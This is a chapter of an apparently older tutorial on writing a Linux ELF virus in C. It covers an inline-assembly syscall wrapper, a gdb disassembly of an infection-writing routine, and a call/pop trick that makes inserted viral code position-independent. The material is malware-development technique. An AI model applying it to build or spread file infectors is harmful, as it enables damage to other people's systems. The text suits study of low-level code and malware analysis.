<<< Previous |  |

# Doing it in C

| Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things.
| Doug Gwyn

In the language of evil I declared the code generated by gcc to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.

## System calls

Compare with In doubt use force. No need for the function to set `errno`. We can't access global variables, anyway. Actually our code does not care for the return value at all.

Source - do_syscall.

    int do_syscall(int number, ...)
    {
      __asm__(
        "push  %ebx           ;"
        "mov   0x1C(%ebp),%edi;"
        "mov   0x18(%ebp),%esi;"
        "mov   0x14(%ebp),%edx;"
        "mov   0x10(%ebp),%ecx;"
        "mov   0x0C(%ebp),%ebx;"
        "mov   0x08(%ebp),%eax;"
        "int   $0x80          ;"
        "pop   %ebx           "
      );
    }

## Position independent code

Previous examples required a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).

The crucial part are the lines in `writeInfection` where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. Let's have a look at the disassembly. Because of C++ name mangling this is not that easy, anyway.

Command.

    #!/bin/sh
    file=${1:-tmp/one_step_closer/one/infector}
    func=${2:-writeInfection}
    symbol=$( nm ${file} | perl -ane "m/${func}/ && print \$F[2];" )
    gdb ${file} -q <<EOT | sed -ne '/:$/,/ret *$/p'
            set disassembly-flavor intel
            disassemble ${symbol}
    EOT

Output - writeInfection.asm.

    (gdb) (gdb) Dump of assembler code for function writeInfection__6Target:
    0x8049504 <writeInfection__6Target>:	push   ebp
    0x8049505 <writeInfection__6Target+1>:	mov    ebp,esp
    0x8049507 <writeInfection__6Target+3>:	push   ebx
    0x8049508 <writeInfection__6Target+4>:	sub    esp,0x8
    0x804950b <writeInfection__6Target+7>:	push   0x1a
    0x804950d <writeInfection__6Target+9>:	push   0x8049c43
    0x8049512 <writeInfection__6Target+14>:	mov    ebx,DWORD PTR [ebp+8]
    0x8049515 <writeInfection__6Target+17>:	push   ds:0x804b064
    0x804951b <writeInfection__6Target+23>:	call   0x8048ce0 <fprintf>
    0x8049520 <writeInfection__6Target+28>:	add    esp,0xc
    0x8049523 <writeInfection__6Target+31>:	push   0x1
    0x8049525 <writeInfection__6Target+33>:	push   0x8049bf0
    0x804952a <writeInfection__6Target+38>:	push   DWORD PTR [ebx]
    0x804952c <writeInfection__6Target+40>:	call   0x8048cb0 <write>
    0x8049531 <writeInfection__6Target+45>:	add    esp,0xc
    0x8049534 <writeInfection__6Target+48>:	push   0x4
    0x8049536 <writeInfection__6Target+50>:	lea    eax,[ebx+24]
    0x8049539 <writeInfection__6Target+53>:	push   eax
    0x804953a <writeInfection__6Target+54>:	push   DWORD PTR [ebx]
    0x804953c <writeInfection__6Target+56>:	call   0x8048cb0 <write>
    0x8049541 <writeInfection__6Target+61>:	add    esp,0xc
    0x8049544 <writeInfection__6Target+64>:	push   0x15
    0x8049546 <writeInfection__6Target+66>:	push   0x8049bf5
    0x804954b <writeInfection__6Target+71>:	push   DWORD PTR [ebx]
    0x804954d <writeInfection__6Target+73>:	call   0x8048cb0 <write>
    0x8049552 <writeInfection__6Target+78>:	add    esp,0x10
    0x8049555 <writeInfection__6Target+81>:	mov    ebx,DWORD PTR [ebp-4]
    0x8049558 <writeInfection__6Target+84>:	leave
    0x8049559 <writeInfection__6Target+85>:	ret

Member variables are accessed through `this`, which is kept in register `ebx`. This is a good thing. The bad thing are pushed constants `0x8049c43` and `0x4`.

The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of required patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that gcc's option `-fpic` does not help this problem at all.

> `-fpic`

> Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that `-fpic` does not work; in that case, recompile with `-fPIC` instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)

## IP or not IP

The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A `call` pushes the current value of `IP` onto the stack and adds a relative offset to it. Doing a `pop` instead of `ret` will load the value `IP` had at a known position into a regular register.

Source - relocate.

    void* relocate(void* address)
    {
      __asm__(
        "call	delta;         "
        "delta:                    "
        "pop	%eax;          "
        "sub	$(delta),%eax; "
        "add	0x08(%ebp),%eax");
    }

<<< Previous | Home |
Additional code segments |  |